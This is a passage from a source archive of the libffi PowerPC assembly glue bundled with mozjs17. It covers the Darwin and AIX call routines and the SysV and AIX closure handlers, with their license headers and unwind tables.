NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ----------------------------------------------------------------------- */ #if defined(__ppc64__) #define MODE_CHOICE(x, y) y #else #define MODE_CHOICE(x, y) x #endif #define g_long MODE_CHOICE(long, quad) /* usage is ".g_long" */ #define LOG2_GPR_BYTES MODE_CHOICE(2,3) /* log2(GPR_BYTES) */ #define LIBFFI_ASM #include #include #define JUMPTARGET(name) name #define L(x) x .text .align 2 .globl _ffi_prep_args .text .align 2 .globl _ffi_call_DARWIN .text .align 2 _ffi_call_DARWIN: LFB0: mr r12,r8 /* We only need r12 until the call, so it doesn't have to be saved. */ LFB1: /* Save the old stack pointer as AP. */ mr r8,r1 LCFI0: /* Allocate the stack space we need. */ stwux r1,r1,r4 /* Save registers we use. */ mflr r9 stw r28,-16(r8) stw r29,-12(r8) stw r30,-8(r8) stw r31,-4(r8) stw r9,8(r8) stw r2,20(r1) LCFI1: /* Save arguments over call. */ mr r31,r5 /* flags, */ mr r30,r6 /* rvalue, */ mr r29,r7 /* function address, */ mr r28,r8 /* our AP. */ LCFI2: /* Call ffi_prep_args. */ mr r4,r1 li r9,0 mtctr r12 /* r12 holds address of _ffi_prep_args. */ bctrl lwz r2,20(r1) /* Now do the call. Set up cr1 with bits 4-7 of the flags. */ mtcrf 0x40,r31 /* Get the address to call into CTR. */ mtctr r29 /* Load all those argument registers. We have set up a nice stack frame, just load it into registers. */ lwz r3,20+(1*4)(r1) lwz r4,20+(2*4)(r1) lwz r5,20+(3*4)(r1) lwz r6,20+(4*4)(r1) nop lwz r7,20+(5*4)(r1) lwz r8,20+(6*4)(r1) lwz r9,20+(7*4)(r1) lwz r10,20+(8*4)(r1) L1: /* Load all the FP registers. */ bf 6,L2 /* No floats to load. */ lfd f1,-16-(13*8)(r28) lfd f2,-16-(12*8)(r28) lfd f3,-16-(11*8)(r28) lfd f4,-16-(10*8)(r28) nop lfd f5,-16-(9*8)(r28) lfd f6,-16-(8*8)(r28) lfd f7,-16-(7*8)(r28) lfd f8,-16-(6*8)(r28) nop lfd f9,-16-(5*8)(r28) lfd f10,-16-(4*8)(r28) lfd f11,-16-(3*8)(r28) lfd f12,-16-(2*8)(r28) nop lfd f13,-16-(1*8)(r28) L2: mr r12,r29 /* Put the target address in r12 as specified. */ mtctr r12 nop nop /* Make the call. */ bctrl /* Now, deal with the return value. */ mtcrf 0x01,r31 bt 30,L(done_return_value) bt 29,L(fp_return_value) stw r3,0(r30) bf 28,L(done_return_value) stw r4,4(r30) /* Fall through. */ L(done_return_value): /* Restore the registers we used and return. */ lwz r9,8(r28) lwz r31,-4(r28) mtlr r9 lwz r30,-8(r28) lwz r29,-12(r28) lwz r28,-16(r28) lwz r1,0(r1) blr L(fp_return_value): /* Do we have long double to store? */ bf 31,L(fd_return_value) stfd f1,0(r30) stfd f2,8(r30) b L(done_return_value) L(fd_return_value): /* Do we have double to store? */ bf 28,L(float_return_value) stfd f1,0(r30) b L(done_return_value) L(float_return_value): /* We only have a float to store. */ stfs f1,0(r30) b L(done_return_value) LFE1: /* END(_ffi_call_DARWIN) */ /* Provide a null definition of _ffi_call_AIX. */ .text .align 2 .globl _ffi_call_AIX .text .align 2 _ffi_call_AIX: blr /* END(_ffi_call_AIX) */ .data .section __TEXT,__eh_frame,coalesced,no_toc+strip_static_syms EH_frame1: .set L$set$0,LECIE1-LSCIE1 .long L$set$0 ; Length of Common Information Entry LSCIE1: .long 0x0 ; CIE Identifier Tag .byte 0x1 ; CIE Version .ascii "zR\0" ; CIE Augmentation .byte 0x1 ; uleb128 0x1; CIE Code Alignment Factor .byte 0x7c ; sleb128 -4; CIE Data Alignment Factor .byte 0x41 ; CIE RA Column .byte 0x1 ; uleb128 0x1; Augmentation size .byte 0x90 ; FDE Encoding (indirect pcrel) .byte 0xc ; DW_CFA_def_cfa .byte 0x1 ; uleb128 0x1 .byte 0x0 ; uleb128 0x0 .align LOG2_GPR_BYTES LECIE1: .globl _ffi_call_DARWIN.eh _ffi_call_DARWIN.eh: LSFDE1: .set L$set$1,LEFDE1-LASFDE1 .long L$set$1 ; FDE Length LASFDE1: .long LASFDE1-EH_frame1 ; FDE CIE offset .g_long LLFB0$non_lazy_ptr-. ; FDE initial location .set L$set$3,LFE1-LFB0 .g_long L$set$3 ; FDE address range .byte 0x0 ; uleb128 0x0; Augmentation size .byte 0x4 ; DW_CFA_advance_loc4 .set L$set$4,LCFI0-LFB1 .long L$set$4 .byte 0xd ; DW_CFA_def_cfa_register .byte 0x08 ; uleb128 0x08 .byte 0x4 ; DW_CFA_advance_loc4 .set L$set$5,LCFI1-LCFI0 .long L$set$5 .byte 0x11 ; DW_CFA_offset_extended_sf .byte 0x41 ; uleb128 0x41 .byte 0x7e ; sleb128 -2 .byte 0x9f ; DW_CFA_offset, column 0x1f .byte 0x1 ; uleb128 0x1 .byte 0x9e ; DW_CFA_offset, column 0x1e .byte 0x2 ; uleb128 0x2 .byte 0x9d ; DW_CFA_offset, column 0x1d .byte 0x3 ; uleb128 0x3 .byte 0x9c ; DW_CFA_offset, column 0x1c .byte 0x4 ; uleb128 0x4 .byte 0x4 ; DW_CFA_advance_loc4 .set L$set$6,LCFI2-LCFI1 .long L$set$6 .byte 0xd ; DW_CFA_def_cfa_register .byte 0x1c ; uleb128 0x1c .align LOG2_GPR_BYTES LEFDE1: .data .align LOG2_GPR_BYTES LLFB0$non_lazy_ptr: .g_long LFB0 mozjs17.0.0/js/src/ctypes/libffi/src/powerpc/aix.S0000664000175000017500000001475312106270662021732 0ustar sstanglsstangl/* ----------------------------------------------------------------------- aix.S - Copyright (c) 2002,2009 Free Software Foundation, Inc. based on darwin.S by John Hornkvist PowerPC Assembly glue. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ``Software''), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ``AS IS'', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ----------------------------------------------------------------------- */ .set r0,0 .set r1,1 .set r2,2 .set r3,3 .set r4,4 .set r5,5 .set r6,6 .set r7,7 .set r8,8 .set r9,9 .set r10,10 .set r11,11 .set r12,12 .set r13,13 .set r14,14 .set r15,15 .set r16,16 .set r17,17 .set r18,18 .set r19,19 .set r20,20 .set r21,21 .set r22,22 .set r23,23 .set r24,24 .set r25,25 .set r26,26 .set r27,27 .set r28,28 .set r29,29 .set r30,30 .set r31,31 .set f0,0 .set f1,1 .set f2,2 .set f3,3 .set f4,4 .set f5,5 .set f6,6 .set f7,7 .set f8,8 .set f9,9 .set f10,10 .set f11,11 .set f12,12 .set f13,13 .set f14,14 .set f15,15 .set f16,16 .set f17,17 .set f18,18 .set f19,19 .set f20,20 .set f21,21 #define LIBFFI_ASM #include #include #define JUMPTARGET(name) name #define L(x) x .file "aix.S" .toc /* void ffi_call_AIX(extended_cif *ecif, unsigned long bytes, * unsigned int flags, unsigned int *rvalue, * void (*fn)(), * void (*prep_args)(extended_cif*, unsigned *const)); * r3=ecif, r4=bytes, r5=flags, r6=rvalue, r7=fn, r8=prep_args */ .csect .text[PR] .align 2 .globl ffi_call_AIX .globl .ffi_call_AIX .csect ffi_call_AIX[DS] ffi_call_AIX: #ifdef __64BIT__ .llong .ffi_call_AIX, TOC[tc0], 0 .csect .text[PR] .ffi_call_AIX: /* Save registers we use. */ mflr r0 std r28,-32(r1) std r29,-24(r1) std r30,-16(r1) std r31, -8(r1) std r0, 16(r1) mr r28, r1 /* our AP. */ stdux r1, r1, r4 /* Save arguments over call... */ mr r31, r5 /* flags, */ mr r30, r6 /* rvalue, */ mr r29, r7 /* function address. */ std r2, 40(r1) /* Call ffi_prep_args. */ mr r4, r1 bl .ffi_prep_args /* Now do the call. */ ld r0, 0(r29) ld r2, 8(r29) ld r11, 16(r29) /* Set up cr1 with bits 4-7 of the flags. */ mtcrf 0x40, r31 mtctr r0 /* Load all those argument registers. */ // We have set up a nice stack frame, just load it into registers. ld r3, 40+(1*8)(r1) ld r4, 40+(2*8)(r1) ld r5, 40+(3*8)(r1) ld r6, 40+(4*8)(r1) nop ld r7, 40+(5*8)(r1) ld r8, 40+(6*8)(r1) ld r9, 40+(7*8)(r1) ld r10,40+(8*8)(r1) L1: /* Load all the FP registers. */ bf 6,L2 // 2f + 0x18 lfd f1,-32-(13*8)(r28) lfd f2,-32-(12*8)(r28) lfd f3,-32-(11*8)(r28) lfd f4,-32-(10*8)(r28) nop lfd f5,-32-(9*8)(r28) lfd f6,-32-(8*8)(r28) lfd f7,-32-(7*8)(r28) lfd f8,-32-(6*8)(r28) nop lfd f9,-32-(5*8)(r28) lfd f10,-32-(4*8)(r28) lfd f11,-32-(3*8)(r28) lfd f12,-32-(2*8)(r28) nop lfd f13,-32-(1*8)(r28) L2: /* Make the call. */ bctrl ld r2, 40(r1) /* Now, deal with the return value. */ mtcrf 0x01, r31 bt 30, L(done_return_value) bt 29, L(fp_return_value) std r3, 0(r30) /* Fall through... */ L(done_return_value): /* Restore the registers we used and return. */ mr r1, r28 ld r0, 16(r28) ld r28, -32(r1) mtlr r0 ld r29, -24(r1) ld r30, -16(r1) ld r31, -8(r1) blr L(fp_return_value): bf 28, L(float_return_value) stfd f1, 0(r30) bf 31, L(done_return_value) stfd f2, 8(r30) b L(done_return_value) L(float_return_value): stfs f1, 0(r30) b L(done_return_value) #else /* ! __64BIT__ */ .long .ffi_call_AIX, TOC[tc0], 0 .csect .text[PR] .ffi_call_AIX: /* Save registers we use. */ mflr r0 stw r28,-16(r1) stw r29,-12(r1) stw r30, -8(r1) stw r31, -4(r1) stw r0, 8(r1) mr r28, r1 /* out AP. */ stwux r1, r1, r4 /* Save arguments over call... */ mr r31, r5 /* flags, */ mr r30, r6 /* rvalue, */ mr r29, r7 /* function address, */ stw r2, 20(r1) /* Call ffi_prep_args. */ mr r4, r1 bl .ffi_prep_args /* Now do the call. */ lwz r0, 0(r29) lwz r2, 4(r29) lwz r11, 8(r29) /* Set up cr1 with bits 4-7 of the flags. */ mtcrf 0x40, r31 mtctr r0 /* Load all those argument registers. */ // We have set up a nice stack frame, just load it into registers. lwz r3, 20+(1*4)(r1) lwz r4, 20+(2*4)(r1) lwz r5, 20+(3*4)(r1) lwz r6, 20+(4*4)(r1) nop lwz r7, 20+(5*4)(r1) lwz r8, 20+(6*4)(r1) lwz r9, 20+(7*4)(r1) lwz r10,20+(8*4)(r1) L1: /* Load all the FP registers. */ bf 6,L2 // 2f + 0x18 lfd f1,-16-(13*8)(r28) lfd f2,-16-(12*8)(r28) lfd f3,-16-(11*8)(r28) lfd f4,-16-(10*8)(r28) nop lfd f5,-16-(9*8)(r28) lfd f6,-16-(8*8)(r28) lfd f7,-16-(7*8)(r28) lfd f8,-16-(6*8)(r28) nop lfd f9,-16-(5*8)(r28) lfd f10,-16-(4*8)(r28) lfd f11,-16-(3*8)(r28) lfd f12,-16-(2*8)(r28) nop lfd f13,-16-(1*8)(r28) L2: /* Make the call. */ bctrl lwz r2, 20(r1) /* Now, deal with the return value. */ mtcrf 0x01, r31 bt 30, L(done_return_value) bt 29, L(fp_return_value) stw r3, 0(r30) bf 28, L(done_return_value) stw r4, 4(r30) /* Fall through... */ L(done_return_value): /* Restore the registers we used and return. */ mr r1, r28 lwz r0, 8(r28) lwz r28,-16(r1) mtlr r0 lwz r29,-12(r1) lwz r30, -8(r1) lwz r31, -4(r1) blr L(fp_return_value): bf 28, L(float_return_value) stfd f1, 0(r30) b L(done_return_value) L(float_return_value): stfs f1, 0(r30) b L(done_return_value) #endif .long 0 .byte 0,0,0,1,128,4,0,0 //END(ffi_call_AIX) .csect .text[PR] .align 2 .globl ffi_call_DARWIN .globl .ffi_call_DARWIN .csect ffi_call_DARWIN[DS] ffi_call_DARWIN: #ifdef __64BIT__ .llong .ffi_call_DARWIN, TOC[tc0], 0 #else .long .ffi_call_DARWIN, TOC[tc0], 0 #endif .csect .text[PR] .ffi_call_DARWIN: blr .long 0 .byte 0,0,0,0,0,0,0,0 //END(ffi_call_DARWIN) mozjs17.0.0/js/src/ctypes/libffi/src/powerpc/ppc_closure.S0000664000175000017500000001573212106270662023465 0ustar sstanglsstangl/* ----------------------------------------------------------------------- sysv.h - Copyright (c) 2003 Jakub Jelinek Copyright (c) 2008 Red Hat, Inc. PowerPC Assembly glue. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ``Software''), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ``AS IS'', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ----------------------------------------------------------------------- */ #define LIBFFI_ASM #include #include #include .file "ppc_closure.S" #ifndef __powerpc64__ ENTRY(ffi_closure_SYSV) .LFB1: stwu %r1,-144(%r1) .LCFI0: mflr %r0 .LCFI1: stw %r0,148(%r1) # we want to build up an areas for the parameters passed # in registers (both floating point and integer) # so first save gpr 3 to gpr 10 (aligned to 4) stw %r3, 16(%r1) stw %r4, 20(%r1) stw %r5, 24(%r1) stw %r6, 28(%r1) stw %r7, 32(%r1) stw %r8, 36(%r1) stw %r9, 40(%r1) stw %r10,44(%r1) #ifndef __NO_FPRS__ # next save fpr 1 to fpr 8 (aligned to 8) stfd %f1, 48(%r1) stfd %f2, 56(%r1) stfd %f3, 64(%r1) stfd %f4, 72(%r1) stfd %f5, 80(%r1) stfd %f6, 88(%r1) stfd %f7, 96(%r1) stfd %f8, 104(%r1) #endif # set up registers for the routine that actually does the work # get the context pointer from the trampoline mr %r3,%r11 # now load up the pointer to the result storage addi %r4,%r1,112 # now load up the pointer to the saved gpr registers addi %r5,%r1,16 # now load up the pointer to the saved fpr registers */ addi %r6,%r1,48 # now load up the pointer to the outgoing parameter # stack in the previous frame # i.e. the previous frame pointer + 8 addi %r7,%r1,152 # make the call bl ffi_closure_helper_SYSV@local .Lret: # now r3 contains the return type # so use it to look up in a table # so we know how to deal with each type # look up the proper starting point in table # by using return type as offset mflr %r4 # move address of .Lret to r4 slwi %r3,%r3,4 # now multiply return type by 16 addi %r4, %r4, .Lret_type0 - .Lret lwz %r0,148(%r1) add %r3,%r3,%r4 # add contents of table to table address mtctr %r3 bctr # jump to it .LFE1: # Each of the ret_typeX code fragments has to be exactly 16 bytes long # (4 instructions). For cache effectiveness we align to a 16 byte boundary # first. .align 4 # case FFI_TYPE_VOID .Lret_type0: mtlr %r0 addi %r1,%r1,144 blr nop # case FFI_TYPE_INT lwz %r3,112+0(%r1) mtlr %r0 .Lfinish: addi %r1,%r1,144 blr # case FFI_TYPE_FLOAT lfs %f1,112+0(%r1) mtlr %r0 addi %r1,%r1,144 blr # case FFI_TYPE_DOUBLE lfd %f1,112+0(%r1) mtlr %r0 addi %r1,%r1,144 blr # case FFI_TYPE_LONGDOUBLE lfd %f1,112+0(%r1) lfd %f2,112+8(%r1) mtlr %r0 b .Lfinish # case FFI_TYPE_UINT8 lbz %r3,112+3(%r1) mtlr %r0 addi %r1,%r1,144 blr # case FFI_TYPE_SINT8 lbz %r3,112+3(%r1) extsb %r3,%r3 mtlr %r0 b .Lfinish # case FFI_TYPE_UINT16 lhz %r3,112+2(%r1) mtlr %r0 addi %r1,%r1,144 blr # case FFI_TYPE_SINT16 lha %r3,112+2(%r1) mtlr %r0 addi %r1,%r1,144 blr # case FFI_TYPE_UINT32 lwz %r3,112+0(%r1) mtlr %r0 addi %r1,%r1,144 blr # case FFI_TYPE_SINT32 lwz %r3,112+0(%r1) mtlr %r0 addi %r1,%r1,144 blr # case FFI_TYPE_UINT64 lwz %r3,112+0(%r1) lwz %r4,112+4(%r1) mtlr %r0 b .Lfinish # case FFI_TYPE_SINT64 lwz %r3,112+0(%r1) lwz %r4,112+4(%r1) mtlr %r0 b .Lfinish # case FFI_TYPE_STRUCT mtlr %r0 addi %r1,%r1,144 blr nop # case FFI_TYPE_POINTER lwz %r3,112+0(%r1) mtlr %r0 addi %r1,%r1,144 blr # case FFI_TYPE_UINT128 lwz %r3,112+0(%r1) lwz %r4,112+4(%r1) lwz %r5,112+8(%r1) bl .Luint128 # The return types below are only used when the ABI type is FFI_SYSV. # case FFI_SYSV_TYPE_SMALL_STRUCT + 1. One byte struct. lbz %r3,112+0(%r1) mtlr %r0 addi %r1,%r1,144 blr # case FFI_SYSV_TYPE_SMALL_STRUCT + 2. Two byte struct. lhz %r3,112+0(%r1) mtlr %r0 addi %r1,%r1,144 blr # case FFI_SYSV_TYPE_SMALL_STRUCT + 3. Three byte struct. lwz %r3,112+0(%r1) srwi %r3,%r3,8 mtlr %r0 b .Lfinish # case FFI_SYSV_TYPE_SMALL_STRUCT + 4. Four byte struct. lwz %r3,112+0(%r1) mtlr %r0 addi %r1,%r1,144 blr # case FFI_SYSV_TYPE_SMALL_STRUCT + 5. Five byte struct. lwz %r3,112+0(%r1) lwz %r4,112+4(%r1) li %r5,24 b .Lstruct567 # case FFI_SYSV_TYPE_SMALL_STRUCT + 6. Six byte struct. lwz %r3,112+0(%r1) lwz %r4,112+4(%r1) li %r5,16 b .Lstruct567 # case FFI_SYSV_TYPE_SMALL_STRUCT + 7. Seven byte struct. lwz %r3,112+0(%r1) lwz %r4,112+4(%r1) li %r5,8 b .Lstruct567 # case FFI_SYSV_TYPE_SMALL_STRUCT + 8. Eight byte struct. lwz %r3,112+0(%r1) lwz %r4,112+4(%r1) mtlr %r0 b .Lfinish .Lstruct567: subfic %r6,%r5,32 srw %r4,%r4,%r5 slw %r6,%r3,%r6 srw %r3,%r3,%r5 or %r4,%r6,%r4 mtlr %r0 addi %r1,%r1,144 blr .Luint128: lwz %r6,112+12(%r1) mtlr %r0 addi %r1,%r1,144 blr END(ffi_closure_SYSV) .section ".eh_frame",EH_FRAME_FLAGS,@progbits .Lframe1: .4byte .LECIE1-.LSCIE1 # Length of Common Information Entry .LSCIE1: .4byte 0x0 # CIE Identifier Tag .byte 0x1 # CIE Version #if defined _RELOCATABLE || defined __PIC__ .ascii "zR\0" # CIE Augmentation #else .ascii "\0" # CIE Augmentation #endif .uleb128 0x1 # CIE Code Alignment Factor .sleb128 -4 # CIE Data Alignment Factor .byte 0x41 # CIE RA Column #if defined _RELOCATABLE || defined __PIC__ .uleb128 0x1 # Augmentation size .byte 0x1b # FDE Encoding (pcrel sdata4) #endif .byte 0xc # DW_CFA_def_cfa .uleb128 0x1 .uleb128 0x0 .align 2 .LECIE1: .LSFDE1: .4byte .LEFDE1-.LASFDE1 # FDE Length .LASFDE1: .4byte .LASFDE1-.Lframe1 # FDE CIE offset #if defined _RELOCATABLE || defined __PIC__ .4byte .LFB1-. # FDE initial location #else .4byte .LFB1 # FDE initial location #endif .4byte .LFE1-.LFB1 # FDE address range #if defined _RELOCATABLE || defined __PIC__ .uleb128 0x0 # Augmentation size #endif .byte 0x4 # DW_CFA_advance_loc4 .4byte .LCFI0-.LFB1 .byte 0xe # DW_CFA_def_cfa_offset .uleb128 144 .byte 0x4 # DW_CFA_advance_loc4 .4byte .LCFI1-.LCFI0 .byte 0x11 # DW_CFA_offset_extended_sf .uleb128 0x41 .sleb128 -1 .align 2 .LEFDE1: #endif #if defined __ELF__ && defined __linux__ .section .note.GNU-stack,"",@progbits #endif mozjs17.0.0/js/src/ctypes/libffi/src/powerpc/aix_closure.S0000664000175000017500000002143112106270662023455 0ustar sstanglsstangl/* ----------------------------------------------------------------------- aix_closure.S - Copyright (c) 2002, 2003, 2009 Free Software Foundation, Inc. based on darwin_closure.S PowerPC Assembly glue. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ``Software''), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ``AS IS'', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ----------------------------------------------------------------------- */ .set r0,0 .set r1,1 .set r2,2 .set r3,3 .set r4,4 .set r5,5 .set r6,6 .set r7,7 .set r8,8 .set r9,9 .set r10,10 .set r11,11 .set r12,12 .set r13,13 .set r14,14 .set r15,15 .set r16,16 .set r17,17 .set r18,18 .set r19,19 .set r20,20 .set r21,21 .set r22,22 .set r23,23 .set r24,24 .set r25,25 .set r26,26 .set r27,27 .set r28,28 .set r29,29 .set r30,30 .set r31,31 .set f0,0 .set f1,1 .set f2,2 .set f3,3 .set f4,4 .set f5,5 .set f6,6 .set f7,7 .set f8,8 .set f9,9 .set f10,10 .set f11,11 .set f12,12 .set f13,13 .set f14,14 .set f15,15 .set f16,16 .set f17,17 .set f18,18 .set f19,19 .set f20,20 .set f21,21 #define LIBFFI_ASM #define JUMPTARGET(name) name #define L(x) x .file "aix_closure.S" .toc LC..60: .tc L..60[TC],L..60 .csect .text[PR] .align 2 .csect .text[PR] .align 2 .globl ffi_closure_ASM .globl .ffi_closure_ASM .csect ffi_closure_ASM[DS] ffi_closure_ASM: #ifdef __64BIT__ .llong .ffi_closure_ASM, TOC[tc0], 0 .csect .text[PR] .ffi_closure_ASM: /* we want to build up an area for the parameters passed */ /* in registers (both floating point and integer) */ /* we store gpr 3 to gpr 10 (aligned to 4) in the parents outgoing area */ std r3, 48+(0*8)(r1) std r4, 48+(1*8)(r1) std r5, 48+(2*8)(r1) std r6, 48+(3*8)(r1) mflr r0 std r7, 48+(4*8)(r1) std r8, 48+(5*8)(r1) std r9, 48+(6*8)(r1) std r10, 48+(7*8)(r1) std r0, 16(r1) /* save the return address */ /* 48 Bytes (Linkage Area) */ /* 64 Bytes (params) */ /* 16 Bytes (result) */ /* 104 Bytes (13*8 from FPR) */ /* 8 Bytes (alignment) */ /* 240 Bytes */ stdu r1, -240(r1) /* skip over caller save area keep stack aligned to 16 */ /* next save fpr 1 to fpr 13 (aligned to 8) */ stfd f1, 128+(0*8)(r1) stfd f2, 128+(1*8)(r1) stfd f3, 128+(2*8)(r1) stfd f4, 128+(3*8)(r1) stfd f5, 128+(4*8)(r1) stfd f6, 128+(5*8)(r1) stfd f7, 128+(6*8)(r1) stfd f8, 128+(7*8)(r1) stfd f9, 128+(8*8)(r1) stfd f10, 128+(9*8)(r1) stfd f11, 128+(10*8)(r1) stfd f12, 128+(11*8)(r1) stfd f13, 128+(12*8)(r1) /* set up registers for the routine that actually does the work */ /* get the context pointer from the trampoline */ mr r3, r11 /* now load up the pointer to the result storage */ addi r4, r1, 112 /* now load up the pointer to the saved gpr registers */ addi r5, r1, 288 /* now load up the pointer to the saved fpr registers */ addi r6, r1, 128 /* make the call */ bl .ffi_closure_helper_DARWIN nop /* now r3 contains the return type */ /* so use it to look up in a table */ /* so we know how to deal with each type */ /* look up the proper starting point in table */ /* by using return type as offset */ ld r4, LC..60(2) /* get address of jump table */ sldi r3, r3, 4 /* now multiply return type by 16 */ ld r0, 240+16(r1) /* load return address */ add r3, r3, r4 /* add contents of table to table address */ mtctr r3 bctr /* jump to it */ /* Each fragment must be exactly 16 bytes long (4 instructions). Align to 16 byte boundary for cache and dispatch efficiency. */ .align 4 L..60: /* case FFI_TYPE_VOID */ mtlr r0 addi r1, r1, 240 blr nop /* case FFI_TYPE_INT */ lwa r3, 112+4(r1) mtlr r0 addi r1, r1, 240 blr /* case FFI_TYPE_FLOAT */ lfs f1, 112+0(r1) mtlr r0 addi r1, r1, 240 blr /* case FFI_TYPE_DOUBLE */ lfd f1, 112+0(r1) mtlr r0 addi r1, r1, 240 blr /* case FFI_TYPE_LONGDOUBLE */ lfd f1, 112+0(r1) mtlr r0 lfd f2, 112+8(r1) b L..finish /* case FFI_TYPE_UINT8 */ lbz r3, 112+7(r1) mtlr r0 addi r1, r1, 240 blr /* case FFI_TYPE_SINT8 */ lbz r3, 112+7(r1) mtlr r0 extsb r3, r3 b L..finish /* case FFI_TYPE_UINT16 */ lhz r3, 112+6(r1) mtlr r0 L..finish: addi r1, r1, 240 blr /* case FFI_TYPE_SINT16 */ lha r3, 112+6(r1) mtlr r0 addi r1, r1, 240 blr /* case FFI_TYPE_UINT32 */ lwz r3, 112+4(r1) mtlr r0 addi r1, r1, 240 blr /* case FFI_TYPE_SINT32 */ lwa r3, 112+4(r1) mtlr r0 addi r1, r1, 240 blr /* case FFI_TYPE_UINT64 */ ld r3, 112+0(r1) mtlr r0 addi r1, r1, 240 blr /* case FFI_TYPE_SINT64 */ ld r3, 112+0(r1) mtlr r0 addi r1, r1, 240 blr /* case FFI_TYPE_STRUCT */ mtlr r0 addi r1, r1, 240 blr nop /* case FFI_TYPE_POINTER */ ld r3, 112+0(r1) mtlr r0 addi r1, r1, 240 blr #else /* ! __64BIT__ */ .long .ffi_closure_ASM, TOC[tc0], 0 .csect .text[PR] .ffi_closure_ASM: /* we want to build up an area for the parameters passed */ /* in registers (both floating point and integer) */ /* we store gpr 3 to gpr 10 (aligned to 4) in the parents outgoing area */ stw r3, 24+(0*4)(r1) stw r4, 24+(1*4)(r1) stw r5, 24+(2*4)(r1) stw r6, 24+(3*4)(r1) mflr r0 stw r7, 24+(4*4)(r1) stw r8, 24+(5*4)(r1) stw r9, 24+(6*4)(r1) stw r10, 24+(7*4)(r1) stw r0, 8(r1) /* 24 Bytes (Linkage Area) */ /* 32 Bytes (params) */ /* 16 Bytes (result) */ /* 104 Bytes (13*8 from FPR) */ /* 176 Bytes */ stwu r1, -176(r1) /* skip over caller save area keep stack aligned to 16 */ /* next save fpr 1 to fpr 13 (aligned to 8) */ stfd f1, 72+(0*8)(r1) stfd f2, 72+(1*8)(r1) stfd f3, 72+(2*8)(r1) stfd f4, 72+(3*8)(r1) stfd f5, 72+(4*8)(r1) stfd f6, 72+(5*8)(r1) stfd f7, 72+(6*8)(r1) stfd f8, 72+(7*8)(r1) stfd f9, 72+(8*8)(r1) stfd f10, 72+(9*8)(r1) stfd f11, 72+(10*8)(r1) stfd f12, 72+(11*8)(r1) stfd f13, 72+(12*8)(r1) /* set up registers for the routine that actually does the work */ /* get the context pointer from the trampoline */ mr r3, r11 /* now load up the pointer to the result storage */ addi r4, r1, 56 /* now load up the pointer to the saved gpr registers */ addi r5, r1, 200 /* now load up the pointer to the saved fpr registers */ addi r6, r1, 72 /* make the call */ bl .ffi_closure_helper_DARWIN nop /* now r3 contains the return type */ /* so use it to look up in a table */ /* so we know how to deal with each type */ /* look up the proper starting point in table */ /* by using return type as offset */ lwz r4, LC..60(2) /* get address of jump table */ slwi r3, r3, 4 /* now multiply return type by 4 */ lwz r0, 176+8(r1) /* load return address */ add r3, r3, r4 /* add contents of table to table address */ mtctr r3 bctr /* jump to it */ /* Each fragment must be exactly 16 bytes long (4 instructions). Align to 16 byte boundary for cache and dispatch efficiency. */ .align 4 L..60: /* case FFI_TYPE_VOID */ mtlr r0 addi r1, r1, 176 blr nop /* case FFI_TYPE_INT */ lwz r3, 56+0(r1) mtlr r0 addi r1, r1, 176 blr /* case FFI_TYPE_FLOAT */ lfs f1, 56+0(r1) mtlr r0 addi r1, r1, 176 blr /* case FFI_TYPE_DOUBLE */ lfd f1, 56+0(r1) mtlr r0 addi r1, r1, 176 blr /* case FFI_TYPE_LONGDOUBLE */ lfd f1, 56+0(r1) mtlr r0 lfd f2, 56+8(r1) b L..finish /* case FFI_TYPE_UINT8 */ lbz r3, 56+3(r1) mtlr r0 addi r1, r1, 176 blr /* case FFI_TYPE_SINT8 */ lbz r3, 56+3(r1) mtlr r0 extsb r3, r3 b L..finish /* case FFI_TYPE_UINT16 */ lhz r3, 56+2(r1) mtlr r0 addi r1, r1, 176 blr /* case FFI_TYPE_SINT16 */ lha r3, 56+2(r1) mtlr r0 addi r1, r1, 176 blr /* case 